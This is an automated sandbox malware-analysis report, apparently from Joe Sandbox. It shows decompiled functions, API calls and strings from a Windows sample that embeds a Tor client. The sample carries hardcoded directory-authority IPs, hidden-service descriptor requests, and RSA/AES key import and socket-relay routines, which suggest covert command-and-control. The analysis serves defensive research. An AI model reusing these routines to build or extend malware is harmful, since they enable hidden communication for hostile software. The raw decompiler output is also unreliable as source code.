0x00000000
0x00000000
0x00401be3
0x00401be8
0x00401bee
0x00401bf1
0x00401bf5
0x00401bf9
0x00401c00
0x00401c03
0x00401c13
0x00401c25
0x00401c2a
0x00401c3a
0x00401c4b
0x00401c5a
0x00401c80
0x00401c9b
0x00401cb6
0x00401cbb
0x00401cc1
0x00401cc3
0x00000000
0x00000000
0x00401cc9
0x00401ccd
0x00000000
0x00000000
0x00401cf4
0x00401cf9
0x00401cfb
0x00000000
0x00000000
0x00401d01
0x00401d05
0x00401d14
0x00401d28
0x00401d3a
0x00401d4b
0x00401d59
0x00401d5e
0x00401d5e
0x00000000
0x00401d05
0x004014a3
0x004014aa
0x00000000
0x00000000
0x00000000
0x004014aa
0x0040145d
0x00401460
0x00000000
0x00000000
0x00000000
0x00401460
0x0040144b
0x0040144e
0x00000000
0x00000000
0x00000000
0x0040144e
0x00401439
0x0040143c
0x00000000
0x00000000
0x00000000
0x0040143c
0x00401427
0x0040142a
0x00000000
0x00000000
0x00000000
0x0040142a
0x00000000
0x004013e9
0x00000000
0x004013e9
0x004013e7
0x00401372
0x00402651
0x00402651
0x00402658
0x0040265f
0x00402661
0x00402661
0x00402674
0x00402679
0x00402680
0x00402687
0x0040268e
0x00402690
0x00402697
0x00402697
0x004026ab
0x004026b5
0x004026ba
0x004026c1
0x004026c3
0x004026c5
0x004026dd
0x004026dd
0x004026df
0x004026e1
0x004026f9
0x004026fb
0x004026fd
0x00402715
0x00402723
0x0040272f
0x0040273b
0x00402747
0x00402753
0x00402762

APIs

CryptAcquireContextA.ADVAPI32(?,00000000,Microsoft Enhanced DSS and Diffie-Hellman Cryptographic Provider,0000000D,F0000000,?,?,?,?,?), ref: 00401196
CryptReleaseContext.ADVAPI32(?,00000000,?,?,?,?,00000000,?), ref: 004026B5

Part of subcall function 00402A45: wsprintfA.USER32 ref: 00402A94

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,?,00000000,00000000), ref: 00401508
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,?,?,00000000,00000000), ref: 0040153C
inet_addr.WSOCK32(?,00000100,?,00000400,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004016B7
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,?,00000000,00000000), ref: 004016ED
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,?,?,00000000,00000000), ref: 0040170B

Part of subcall function 00404065: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,?,00000000,00000000), ref: 0040415E
Part of subcall function 00404065: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,?,?,00000000,00000000), ref: 0040417C

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,?,00000000,00000000), ref: 0040181C
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,?,?,00000000,00000000), ref: 0040183B
CryptDecodeObject.CRYPT32(00000001,00000013,?,0000008C,00000000,?,?), ref: 00401875

Part of subcall function 004047B4: select.WSOCK32(00000000,?,00000000,00000000,?,?,00000000,?,?,00000000,?,?,?,?,?), ref: 004047F1

Strings

P, xrefs: 00401293
ChainingModeECB, xrefs: 00401211, 00401217
P, xrefs: 0040127F
BCryptCloseAlgorithmProvider, xrefs: 004026D2, 004026EE, 0040270A
194.109.206.212, xrefs: 0040129D
BCryptOpenAlgorithmProvider, xrefs: 004011B4, 004011DA, 00401200
193.23.244.244, xrefs: 0040124D
199.58.81.140, xrefs: 00401275
directory-footer, xrefs: 0040135D
KeyDataBlob, xrefs: 00401A1B, 00401A21
154.35.175.225, xrefs: 004012C5
RSA, xrefs: 004011C5, 004011CB
/tor/status-vote/current/consensus, xrefs: 0040133C
86.59.21.38, xrefs: 00401261
P, xrefs: 0040126B
SHA1, xrefs: 0040119F, 004011A5, 00401962
P, xrefs: 004012BB
service-key, xrefs: 004015A5
KDBM, xrefs: 004019D2
204.13.164.118, xrefs: 00401289
P, xrefs: 00401257
AES, xrefs: 004011EB, 004011F1
128.31.0.34, xrefs: 004012ED
171.25.193.9, xrefs: 004012D9
131.188.40.189, xrefs: 004012B1
bcrypt.dll, xrefs: 004011AA, 004011D0, 004011F6, 00401222, 004018FD, 004019AB, 00401A27, 004026C8, 004026E4, 00402700
ip-address, xrefs: 0040156B
-----END MESSAGE-----, xrefs: 00402280
-----BEGIN MESSAGE-----, xrefs: 004014BD
-----END, xrefs: 004015E3
P, xrefs: 004012A7
P, xrefs: 004012CF
BCryptSetProperty, xrefs: 0040122C
introduction-point, xrefs: 0040154E
GET /tor/rendezvous2/%s HTTP/1.0Host: %sConnection: close, xrefs: 004020C1
Microsoft Enhanced DSS and Diffie-Hellman Cryptographic Provider, xrefs: 0040118B
BCryptImportKey, xrefs: 00401A31
BCryptEncrypt, xrefs: 004019B5
ChainingMode, xrefs: 00401218, 0040121E
KEY-----, xrefs: 004015C3
onion-port, xrefs: 00401588
128.31.0.39, xrefs: 00401301
RSAPUBLICBLOB, xrefs: 004018F1, 004018F7
BCryptImportKeyPair, xrefs: 00401907

Memory Dump Source

Source File: 00000000.00000002.244946144.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_p9CvI6kq7d.jbxd

Yara matches

Similarity

API ID: Crypt$BinaryString$Context$AcquireDecodeObjectReleaseinet_addrselectwsprintf
String ID: -----BEGIN MESSAGE-----$-----END$-----END MESSAGE-----$/tor/status-vote/current/consensus$128.31.0.34$128.31.0.39$131.188.40.189$154.35.175.225$171.25.193.9$193.23.244.244$194.109.206.212$199.58.81.140$204.13.164.118$86.59.21.38$AES$BCryptCloseAlgorithmProvider$BCryptEncrypt$BCryptImportKey$BCryptImportKeyPair$BCryptOpenAlgorithmProvider$BCryptSetProperty$ChainingMode$ChainingModeECB$GET /tor/rendezvous2/%s HTTP/1.0Host: %sConnection: close$KDBM$KEY-----$KeyDataBlob$Microsoft Enhanced DSS and Diffie-Hellman Cryptographic Provider$P$P$P$P$P$P$P$RSA$RSAPUBLICBLOB$SHA1$bcrypt.dll$directory-footer$introduction-point$ip-address$onion-port$service-key
API String ID: 1114855807-1473801416
Opcode ID: c0441410ec6860015ef4cb2d2b6026077441e37c211349f0a697a63636d42b28
Instruction ID: 53cf533059f84ec67261bff70377a729e3e71cee1c49a3e671a678b83a82c01b
Opcode Fuzzy Hash: c0441410ec6860015ef4cb2d2b6026077441e37c211349f0a697a63636d42b28
Instruction Fuzzy Hash: D4D27E71D40219AADF219B90CD45FDEB779AB08304F1040EAF608B60D1DB7AAEA49F59

Uniqueness

Uniqueness Score: -1.00%

Function 006713B8 Relevance: 53.9, APIs: 15, Strings: 15, Instructions: 1413encryptionCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,?,00000000,00000000), ref: 00671758
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,?,?,00000000,00000000), ref: 0067178C
inet_addr.WS2_32(?), ref: 00671907
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00000000,00000000,00000000), ref: 0067193D
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,?,00000000,00000000,00000000), ref: 0067195B

Part of subcall function 006742B5: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,?,?,00000000,00000000), ref: 006743CC

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,?,00000000,00000000), ref: 00671A6C
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,?,?,00000000,00000000), ref: 00671A8B
CryptDecodeObject.CRYPT32(00000001,00000013,?,0000008C,00000000,?,00000094), ref: 00671AC5

Part of subcall function 00674A04: select.WS2_32(00000000,?,00000000,00000000,?), ref: 00674A41

CryptReleaseContext.ADVAPI32(?,00000000,?,00000000,0000000E,?,00000000,0000000C), ref: 00672905

Strings

P, xrefs: 006714A7
AES, xrefs: 0067143B, 00671441
P, xrefs: 006714E3
P, xrefs: 0067150B
RSAPUBLICBLOB, xrefs: 00671B41, 00671B47
SHA1, xrefs: 006713EF, 006713F5, 00671BB2
RSA1, xrefs: 00671B33, 00671B39
P, xrefs: 006714BB
ChainingModeECB, xrefs: 00671461, 00671467
P, xrefs: 006714F7
ChainingMode, xrefs: 00671468, 0067146E
P, xrefs: 0067151F
KeyDataBlob, xrefs: 00671C6B, 00671C71
RSA, xrefs: 00671415, 0067141B
P, xrefs: 006714CF

Memory Dump Source

Source File: 00000000.00000002.245054120.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_p9CvI6kq7d.jbxd

Yara matches

Similarity

API ID: Crypt$BinaryString$ContextDecodeObjectReleaseinet_addrselect
String ID: AES$ChainingMode$ChainingModeECB$KeyDataBlob$P$P$P$P$P$P$P$RSA$RSA1$RSAPUBLICBLOB$SHA1
API String ID: 1993778655-3242379580
Opcode ID: 444bd495383bb66d9f033cdaf250c720b1adf006b13f8ea2e0fc212d6713849a
Instruction ID: 1fae666b16c20f6d0c15cf226bf46be674b20188482c09c720ee1b8c55ace58f
Opcode Fuzzy Hash: 444bd495383bb66d9f033cdaf250c720b1adf006b13f8ea2e0fc212d6713849a
Instruction Fuzzy Hash: 72D27C71D44219AADF219BA0CC45FEEB77AFB08300F1080E9F60CB6191DB76AE949F55

Uniqueness

Uniqueness Score: -1.00%

Function 00403B56 Relevance: 21.2, APIs: 3, Strings: 9, Instructions: 195
encryptionCOMMON

Download Yara Rule

C-Code - Quality: 43%

			E00403B56(void* __eflags, intOrPtr _a4, intOrPtr _a8, char* _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32, intOrPtr _a36) {
				char _v16;
				char _v516;
				char _v568;
				intOrPtr _v572;
				int _v576;
				int _v580;
				intOrPtr _v584;
				intOrPtr _v588;
				intOrPtr _v592;
				char _v596;
				char _v597;
				intOrPtr _v728;
				char _v732;
				intOrPtr _v736;
				int _v740;
				char _v744;
				char _v884;
				char _v942;
				char _v1012;
				char _v1028;
				int _v1032;
				char _v1040;
				char _v1044;
				int _v1052;
				int _v1056;
				char* _v1060;
				void* _t72;
				void* _t126;
				void* _t129;
				void* _t130;

				_t130 = __eflags;
				E004066D2( &_v1060,  &_v16 - _t129);
				if(E0040690B(_t130, _a12) == 0x20) {
					_v1032 = E0040685B(_a12,  &_v516);
				} else {
					CryptStringToBinaryA(_a12, 0, 1, 0,  &_v1032, 0, 0);
					CryptStringToBinaryA(_a12, 0, 1,  &_v516,  &_v1032, 0, 0);
				}
				_t132 = _a36 - 1;
				if(_a36 == 1) {
					_t123 = _a32;
					E0040664B( &_v516, _a32 + 0xba, _v1032);
				}
				_t72 = E00404065(_t123, _t132, _a4, _a8,  &_v516,  &_v884);
				if(_t72 != 0) {
					_t72 = E00403E30(_a20, _a16,  &_v1012);
					_t134 = _t72;
					if(_t72 != 0) {
						E00406A32(_t72, 0x100);
						asm("stosb");
						asm("loop 0xfffffff5");
						_v1044 = 0x94;
						_push( &_v1044);
						_push( &_v744);
						_push(0);
						_push(0x8c);
						_push( &_v884);
						_push(0x13);
						_push(1);
						L00407208();
						_v596 = 0x31415352;
						_v592 = 0x400;
						_v588 = 4;
						_v584 = 0x80;
						_v580 = 0;
						_v576 = 0;
						asm("bswap eax");
						_v572 = _v728;
						E00406605( &_v597,  &_v568, 0x80);
						_push(0);
						_push(0x9c);
						_push( &_v596);
						_push( &_v1040);
						_push(L"RSAPUBLICBLOB");
						_push(0);
						_push(_a24);
						 *((intOrPtr*)(E00406EE2(_t134, E00406DF2("bcrypt.dll"), "BCryptImportKeyPair")))();
						_v1060 = L"SHA1";
						_v1056 = 0;
						_v1052 = 0;
						_push(4);
						_push( &_v1044);
						_push(0x80);
						_push(_a32);
						_push(0);
						_push(0);
						_push( &_v1060);
						_push(0x56);
						_push( &_v1028);
						_push(_v1040);
						 *((intOrPtr*)(E00406EE2(_t134, E00406DF2("bcrypt.dll"), "BCryptEncrypt")))();
						E004064D6( &_v1040,  &_v1040, 0, 1);
						_t126 = _a32 + _v1044;
						_v744 = 0x4d42444b;
						_v740 = 1;
						_v736 = 0x10;
						E0040664B( &_v1028,  &_v732, 0x10);
						_push(0);
						_push(0x1c);
						_push( &_v744);
						_push(0);
						_push(0);
						_push( &_v1040);
						_push(L"KeyDataBlob");
						_push(0);
						_push(_a28);
						 *((intOrPtr*)(E00406EE2(_t134, E00406DF2("bcrypt.dll"), "BCryptImportKey")))();
						E0040664B( &_v942, _t126, 0x3a);
						E004037B8(_t134, _v1040, _t126, 0x3a, 0);
						E004064D6( &_v1040,  &_v1040, 0, 1);
						return _t126 + 0x3a - _a32;
					}
				}
				return _t72;
			}

0x00403b56
0x00403b6d
0x00403b7d
0x00403bc7
0x00403b7f
0x00403b93
0x00403bb1
0x00403bb1
0x00403bcd
0x00403bd1
0x00403bd3
0x00403bea
0x00403bea
0x00403c03
0x00403c0a
0x00403c1d
0x00403c22
0x00403c24
0x00403c3a
0x00403c3f
0x00403c40
0x00403c42
0x00403c52
0x00403c59
0x00403c5a
0x00403c5c
0x00403c67
0x00403c68
0x00403c6a
0x00403c6c
0x00403c71
0x00403c7b
0x00403c85
0x00403c8f
0x00403c99
0x00403ca3
0x00403cb3
0x00403cb5
0x00403cce
0x00403cd3
0x00403cd5
0x00403ce0
0x00403ce7
0x00403cee
0x00403cef
0x00403cf1
0x00403d09
0x00403d11
0x00403d17
0x00403d21
0x00403d2e
0x00403d36
0x00403d37
0x00403d3c
0x00403d3f
0x00403d41
0x00403d49
0x00403d4a
0x00403d52
0x00403d53
0x00403d6e
0x00403d7b
0x00403d80
0x00403d86
0x00403d90
0x00403d9a
0x00403db4
0x00403db9
0x00403dbb
0x00403dc3
0x00403dc4
0x00403dc6
0x00403dce
0x00403dd5
0x00403dd6
0x00403dd8
0x00403df0
0x00403dfc
0x00403e0c
0x00403e22
0x00000000
0x00403e27
0x00403c24
0x00403e2d

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,?,00000000,00000000), ref: 00403B93
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,?,?,00000000,00000000), ref: 00403BB1
CryptDecodeObject.CRYPT32(00000001,00000013,?,0000008C,00000000,?,?), ref: 00403C6C

Strings

BCryptImportKey, xrefs: 00403DE5
BCryptEncrypt, xrefs: 00403D63
SHA1, xrefs: 00403D0B
KDBM, xrefs: 00403D86
RSA1, xrefs: 00403C71
RSAPUBLICBLOB, xrefs: 00403CE8, 00403CEE
BCryptImportKeyPair, xrefs: 00403CFE
bcrypt.dll, xrefs: 00403CF4, 00403D59, 00403DDB
KeyDataBlob, xrefs: 00403DCF, 00403DD5

Memory Dump Source

Source File: 00000000.00000002.244946144.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_p9CvI6kq7d.jbxd

Yara matches

Similarity

API ID: Crypt$BinaryString$DecodeObject
String ID: BCryptEncrypt$BCryptImportKey$BCryptImportKeyPair$KDBM$KeyDataBlob$RSA1$RSAPUBLICBLOB$SHA1$bcrypt.dll
API String ID: 698452922-2403945854
Opcode ID: 668f16dc7a28e8bcec46c01dbc8b6c25b945ec28d88d497ae00b659f07542f3b
Instruction ID: 61e6e54592002671a450bf31de14366d9195710af4aa8c0c2f2e2d228943c6a7
Opcode Fuzzy Hash: 668f16dc7a28e8bcec46c01dbc8b6c25b945ec28d88d497ae00b659f07542f3b
Instruction Fuzzy Hash: 89711DB294021CBAEB21DF91CC46FDA777CAB04704F1045AAB709B60C1D7B5AB948F59

Uniqueness

Uniqueness Score: -1.00%

Function 00404A1A Relevance: 16.1, APIs: 8, Strings: 1, Instructions: 333
networkCOMMON

Download Yara Rule

C-Code - Quality: 71%

			E00404A1A(void* __eflags, intOrPtr _a4) {
				void* _v8;
				intOrPtr _v12;
				signed int _v16;
				void* _v20;
				char _v24;
				intOrPtr _v28;
				char _v32;
				char _v40;
				char _v41;
				char _v42;
				char _v43;
				char _v44;
				char _v45;
				char _v46;
				char _v47;
				char _v48;
				char _v49;
				signed int _v51;
				signed int _v52;
				char _v56;
				char _v60;
				char _v64;
				char _v68;
				char _v72;
				char _v76;
				intOrPtr _v88;
				short _v90;
				char _v92;
				char _v96;
				char _v112;
				char _v116;
				short _v118;
				char _v120;
				char _v128;
				char _v140;
				char _v144;
				intOrPtr _v148;
				intOrPtr _v152;
				char _v156;
				char _v160;
				signed short _t194;
				signed short _t206;
				char* _t215;
				char* _t220;
				intOrPtr _t229;
				signed int _t230;
				signed int _t233;
				intOrPtr* _t238;
				signed int _t239;
				char* _t240;
				intOrPtr _t241;
				intOrPtr _t242;
				void* _t244;

				E004066D2( &_v160,  &_v16 - _t244);
				_t241 = _a4;
				E0040664B(_t241 + 0x180,  &_v32, 4);
				E0040664B(_t241 + 0x184,  &_v16, 4);
				E0040664B(_t241 + 0x188,  &_v24, 4);
				E0040664B(_t241 + 0x18c,  &_v8, 4);
				E0040664B(_t241 + 0x190,  &_v20, 4);
				E0040664B(_t241 + 0x194,  &_v56, 4);
				E0040664B(_t241 + 0x198,  &_v64, 4);
				E0040664B(_t241 + 0x19c,  &_v68, 4);
				E0040664B(_t241 + 0x1a0,  &_v72, 4);
				E0040664B(_t241 + 0x1a4,  &_v76, 4);
				E0040664B(_t241 + 0x1a8,  &_v60, 4);
				_t233 = _v16;
				_t238 = _v8;
				_v28 =  *((intOrPtr*)(_t238 + _t233 * 4));
				_v12 =  *_t238;
				_v52 = _t233;
				_v51 = 0xa;
				_v49 = 5;
				_v48 = 1;
				_v47 = 0;
				_v46 = 1;
				_v45 = 0;
				_v44 = 0;
				_v43 = 0;
				_v42 = 0;
				_v41 = 0;
				_v40 = 0;
				_v92 = 2;
				_t246 =  *((char*)(_t241 + 7)) - 3;
				if( *((char*)(_t241 + 7)) != 3) {
					__eflags =  *((char*)(_t241 + 7)) - 1;
					if( *((char*)(_t241 + 7)) != 1) {
						__eflags =  *((char*)(_t241 + 7)) - 4;
						if( *((char*)(_t241 + 7)) != 4) {
							L14:
							_t242 = _v8;
							_t230 = _v16;
							_t239 = _v51 & 0x0000ffff;
							E00405F3C(0x40908b, 0x32,  &_v52, 3);
							E00405F3C(0x40908b, 0x32,  &_v49, _t239);
							_t99 = _t239 + 3; // 0xd
							E00406381(_v12, _v76, _v24,  &_v52, _t99, _v72, _v68, _v64, 2, _v56, _v60);
							E00405F3C(0x40908b, 0x32,  &_v52, 3);
							_t194 = E00405F3C(0x40908b, 0x32,  &_v49, _t239);
							if(_v48 != 0) {
								L24:
								 *((intOrPtr*)(_t242 + _t230 * 4)) = 0;
								E004064B7(_t194, _v28);
								_v51 = 0;
								E00405F3C(0x40908b, 0x32,  &_v52, 3);
								E00406381(_v12, _v76, _v24,  &_v52, 3, _v72, _v68, _v64, 2, _v56, _v60);
								E004048E1( &_v20);
								 *((intOrPtr*)(_v32 + _t230 * 4)) = 0;
								return 0;
							}
							_t240 = _v20;
							while(1) {
								L16:
								while( *((intOrPtr*)(_t242 + _t230 * 4)) != 0) {
									E00406698(_v28, 0,  &_v140, 0, 0x64);
									_push( &_v128);
									_push(0);
									_push(0);
									_t194 =  &_v140;
									_push(_t194);
									_push(0);
									L0040717E();
									__eflags = _t194;
									if(__eflags == 0) {
										goto L16;
									}
									if(__eflags < 0) {
										goto L24;
									}
									_push(0);
									_push(0xfffa);
									_t206 = _t240 + 3;
									_push(_t206);
									_push(_v28);
									L00407178();
									_t194 = _t206;
									__eflags = _t194;
									if(_t194 == 0) {
										L21:
										goto L24;
									}
									__eflags = _t194 - 0xffffffff;
									if(_t194 != 0xffffffff) {
										 *(_t240 + 1) = _t194;
										 *_t240 = _v16;
										E00405F3C(0x40908b, 0x32, _t240, 3);
										E00405F3C(0x40908b, 0x32, _t240 + 3,  *(_t240 + 1) & 0x0000ffff);
										_t194 = E00406381(_v12, _v76, _v24, _t240, ( *(_t240 + 1) & 0x0000ffff) + 3, _v72, _v68, _v64, 2, _v56, _v60);
										continue;
									}
									goto L21;
								}
								goto L24;
							}
						}
						_v120 = 0x17;
						_v116 = 0;
						_v96 = 0;
						_v118 =  *((intOrPtr*)(_t241 + 0x18));
						E0040664B(_t241 + 8,  &_v112, 0x10);
						L8:
						_v144 = 1;
						_t215 =  &_v144;
						_push(_t215);
						_push(0x8004667e);
						_push(_v28);
						L00407172();
						if(_t215 == 0) {
							if( *((char*)(_t241 + 7)) == 4) {
								_push(0x1c);
								_push( &_v120);
								_push(_v28);
								L0040715A();
							} else {
								_push(0x10);
								_push( &_v92);
								_push(_v28);
								L0040715A();
							}
							E00406698(_v28, 0,  &_v140, 0xa, 0);
							_push( &_v128);
							_push(0);
							_t220 =  &_v140;
							_push(_t220);
							_push(0);
							_push(0);
							L0040717E();
							if(_t220 == 1) {
								_v144 = 0;
								_push( &_v144);
								_push(0x8004667e);
								_push(_v28);
								L00407172();
								_v156 = 1;
								_v152 = 0xea60;
								_v148 = 0x2710;
								_push(0);
								_push(0);
								_push( &_v160);
								_push(0);
								_push(0);
								_push(0xc);
								_push( &_v156);
								_push(0x98000004);
								_push(_v28);
								L004071A2();
								_v48 = 0;
							}
						}
						goto L14;
					}
					_v88 =  *((intOrPtr*)(_t241 + 8));
					_v90 =  *((intOrPtr*)(_t241 + 0xc));
					goto L8;
				}
				_v90 =  *((intOrPtr*)(0 + _t241 + 9));
				 *((char*)(0 + _t241 + 9)) = 0;
				_t229 = E00406558(_t246, _t241 + 9, 2);
				if(_t229 == 0) {
					goto L14;
				} else {
					_v88 = _t229;
					goto L8;
				}
			}

0x00404a31
0x00404a36
0x00404a46
0x00404a58
0x00404a6a
0x00404a7c
0x00404a8e
0x00404aa0
0x00404ab2
0x00404ac4
0x00404ad6
0x00404ae8
0x00404afa
0x00404aff
0x00404b02
0x00404b08
0x00404b0d
0x00404b10
0x00404b13
0x00404b19
0x00404b1d
0x00404b21
0x00404b25
0x00404b29
0x00404b2d
0x00404b31
0x00404b35
0x00404b39
0x00404b3d
0x00404b41
0x00404b47
0x00404b4b
0x00404b78
0x00404b7c
0x00404b8e
0x00404b92
0x00404ca5
0x00404ca5
0x00404ca8
0x00404cab
0x00404cbc
0x00404ccd
0x00404ce3
0x00404cf4
0x00404d06
0x00404d17
0x00404d20
0x00404dda
0x00404dda
0x00404de4
0x00404de9
0x00404dfc
0x00404e21
0x00404e2a
0x00404e32
0x00404e42
0x00404e42
0x00404d26
0x00404d29
0x00404d29
0x00404dd0
0x00404d3e
0x00404d46
0x00404d47
0x00404d49
0x00404d4b
0x00404d51
0x00404d52
0x00404d54
0x00404d59
0x00404d5b
0x00000000
0x00000000
0x00404d5d
0x00000000
0x00000000
0x00404d5f
0x00404d61
0x00404d66
0x00404d69
0x00404d6a
0x00404d6d
0x00404d72
0x00404d72
0x00404d74
0x00404d7b
0x00000000
0x00404d7b
0x00404d76
0x00404d79
0x00404d7f
0x00404d86
0x00404d96
0x00404da7
0x00404dcb
0x00000000
0x00404dcb
0x00000000
0x00404d79
0x00000000
0x00404dd0
0x00404d29
0x00404b94
0x00404b9a
0x00404ba1
0x00404bac
0x00404bba
0x00404bc6
0x00404bc6
0x00404bd0
0x00404bd6
0x00404bd7
0x00404bdc
0x00404bdf
0x00404be6
0x00404bf0
0x00404c02
0x00404c07
0x00404c08
0x00404c0b
0x00404bf2
0x00404bf2
0x00404bf7
0x00404bf8
0x00404bfb
0x00404bfb
0x00404c20
0x00404c28
0x00404c29
0x00404c2b
0x00404c31
0x00404c32
0x00404c34
0x00404c36
0x00404c3e
0x00404c40
0x00404c50
0x00404c51
0x00404c56
0x00404c59
0x00404c5e
0x00404c68
0x00404c72
0x00404c7c
0x00404c7e
0x00404c86
0x00404c87
0x00404c89
0x00404c8b
0x00404c93
0x00404c94
0x00404c99
0x00404c9c
0x00404ca1
0x00404ca1
0x00404c3e
0x00000000
0x00404be6
0x00404b81
0x00404b88
0x00000000
0x00404b88
0x00404b57
0x00404b5b
0x00404b66
0x00404b6d
0x00000000
0x00404b73
0x00404b73
0x00000000
0x00404b73

APIs

ioctlsocket.WSOCK32(?,8004667E,00000001,?,?,00000010,?,?,00000004,?,?,00000004,?,?,00000004,?), ref: 00404BDF
connect.WSOCK32(?,00000002,00000010,?,8004667E,00000001,?,?,00000010,?,?,00000004,?,?,00000004,?), ref: 00404BFB
connect.WSOCK32(?,00000017,0000001C,?,8004667E,00000001,?,?,00000010,?,?,00000004,?,?,00000004,?), ref: 00404C0B
select.WSOCK32(00000000,00000000,?,00000000,?,?,00000000,?,0000000A,00000000,?,00000017,0000001C,?,8004667E,00000001), ref: 00404C36
ioctlsocket.WSOCK32(?,8004667E,00000000,00000000,00000000,?,00000000,?,?,00000000,?,0000000A,00000000,?,00000017,0000001C), ref: 00404C59
WSAIoctl.WS2_32(?,98000004,00000001,0000000C,00000000,00000000,?,00000000,00000000), ref: 00404C9C

Part of subcall function 00406558: getaddrinfo.WS2_32(?,00000000,?,?), ref: 004065A0

select.WSOCK32(00000000,?,00000000,00000000,?,?,00000000,?,00000000,00000064,0040908B,00000032,00000005,0000000A,0040908B,00000032), ref: 00404D54
recv.WSOCK32(?,?,0000FFFA,00000000,00000000,?,00000000,00000000,?,?,00000000,?,00000000,00000064,0040908B,00000032), ref: 00404D6D

Strings

`, xrefs: 00404C68

Memory Dump Source

Source File: 00000000.00000002.244946144.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_p9CvI6kq7d.jbxd

Yara matches

Similarity

API ID: connectioctlsocketselect$Ioctlgetaddrinforecv
String ID: `
API String ID: 3309496413-1850852036
Opcode ID: 04230ac3f178ca70e3ad71c852305ce5690f417b780a517f9c842ec35ce5e0c6
Instruction ID: 2d9023ba1f77d38e37bf4f481558d755ca0deba1584760c4f9d99873fe015a67
Opcode Fuzzy Hash: 04230ac3f178ca70e3ad71c852305ce5690f417b780a517f9c842ec35ce5e0c6
Instruction Fuzzy Hash: FFD12DB1940208BAEB11EBE0CC41FDEBBBCAF04704F10446AF755B61D1D779AA54CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00673DA6 Relevance: 14.2, APIs: 3, Strings: 5, Instructions: 195encryptionCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,?,00000000,00000000), ref: 00673DE3
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,?,?,00000000,00000000), ref: 00673E01
CryptDecodeObject.CRYPT32(00000001,00000013,?,0000008C,00000000,?,?), ref: 00673EBC

Strings

RSAPUBLICBLOB, xrefs: 00673F38, 00673F3E
SHA1, xrefs: 00673F5B
KeyDataBlob, xrefs: 0067401F, 00674025
KDBM, xrefs: 00673FD6
RSA1, xrefs: 00673EC1

Memory Dump Source

Source File: 00000000.00000002.245054120.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_p9CvI6kq7d.jbxd

Yara matches

Similarity

API ID: Crypt$BinaryString$DecodeObject
String ID: KDBM$KeyDataBlob$RSA1$RSAPUBLICBLOB$SHA1
API String ID: 698452922-1412799199
Opcode ID: f4cc697524efcae6d15d3c0e42b652e99e6bf05930db6e837f3f8ff849eb5f90
Instruction ID: 9ef108e14e18a2f9055d56c5029dbcd7d2aa52418d1097e4bc635d62d8f1bbce
Opcode Fuzzy Hash: f4cc697524efcae6d15d3c0e42b652e99e6bf05930db6e837f3f8ff849eb5f90
Instruction Fuzzy Hash: 1F712FB294021CBAEB61DF50CC46FDA777DAB04704F1081AAB708B61C1D7B5AF848F59

Uniqueness

Uniqueness Score: -1.00%

Function 00404065 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 98
encryptionCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E00404065(void* __edx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, BYTE* _a16) {
				char _v16;
				char _v501;
				char _v516;
				char _v520;
				intOrPtr _v524;
				int _v532;
				intOrPtr _t35;
				void* _t39;
				void* _t40;
				void* _t41;
				char* _t43;
				char _t53;
				void* _t54;
				char* _t56;
				void* _t59;
				void* _t60;

				_t60 = __eflags;
				E004066D2( &_v532,  &_v16 - _t59);
				E0040664B("/tor/server/fp/",  &_v516, 0xf);
				E00406A63(_a12, 0x14,  &_v501);
				_t35 = E00402A45(__edx, _t60, _a4, _a8,  &_v516,  &_v520);
				_t61 = _t35;
				if(_t35 != 0) {
					_t53 = _v520;
					_v524 = _t35;
					_t39 = E004069DA(_t61, _t53, _v524, "onion-key");
					_t62 = _t39;
					if(_t39 != 0) {
						_t40 = _t39 - _t53;
						_t54 = _t53 + _t40;
						_v524 = _v524 - _t40;
						_t41 = E004069DA(_t62, _t54, _v524, "-----BEGIN RSA PUBLIC KEY-----");
						_t63 = _t41;
						if(_t41 != 0) {
							_t42 = _t41 - _t54;
							_v524 = _v524 - _t41 - _t54;
							_t43 = E004069DA(_t63, _t54 + _t42, _v524, "-----END");
							if(_t43 != 0) {
								_t56 =  &_v516;
								 *_t43 = 0;
								while(1) {
									asm("lodsb");
									if(_t43 > 0x20) {
										asm("stosb");
									}
									if(_t43 == 0) {
										break;
									}
								}
								 *_t56 = 0;
								CryptStringToBinaryA( &_v516, 0, 1, 0,  &_v532, 0, 0);
								CryptStringToBinaryA( &_v516, 0, 1, _a16,  &_v532, 0, 0);
							}
						}
					}
				}
				E004048E1( &_v520);
				return _v532;
			}

0x00404065
0x0040407c
0x0040408f
0x004040a0
0x004040b9
0x004040be
